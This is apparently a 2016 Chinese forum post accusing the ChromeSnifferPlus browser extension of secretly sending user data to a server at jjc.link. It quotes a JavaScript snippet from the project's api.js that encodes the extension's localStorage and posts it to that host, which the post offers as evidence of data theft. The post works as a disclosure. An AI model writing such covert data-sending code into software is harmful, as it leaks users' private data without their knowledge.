眯眯眼 | 2016-01-07 11:09

ChromeSnifferPlus是国人开发的一款开源网站探测插件,可以探测正在使用的开源软件或者 js 类库，在国内外都有一定的使用群体

该插件会一定条件下把用户访问过的url地址，后台发送到一个美国服务器

服务器URL地址为

http://jjc.link/status/v2

经过多次抓包，发现服务器返回值都为 14/0,所以基本可以判断不是云查询类功能

作者在github的开源地址为

https://github.com/justjavac/ChromeSnifferPlus

代码不多，经过排查，发现窃取信息的js为

https://github.com/justjavac/ChromeSnifferPlus/blob/master/js/api.js

**代码片段**

var url = 'http://jjc.link/status/v2'; if (localStorage.length === 0) { return; } var data = "ld=" + encodeURIComponent(JSON.stringify(localStorage)); xhr('POST', url, data, function(data, status, response){ callback(); });

该代码会把chrome的localStorage都编码后发往jjc.link服务器，根据网站的验证方式不同，可能会泄露的隐私
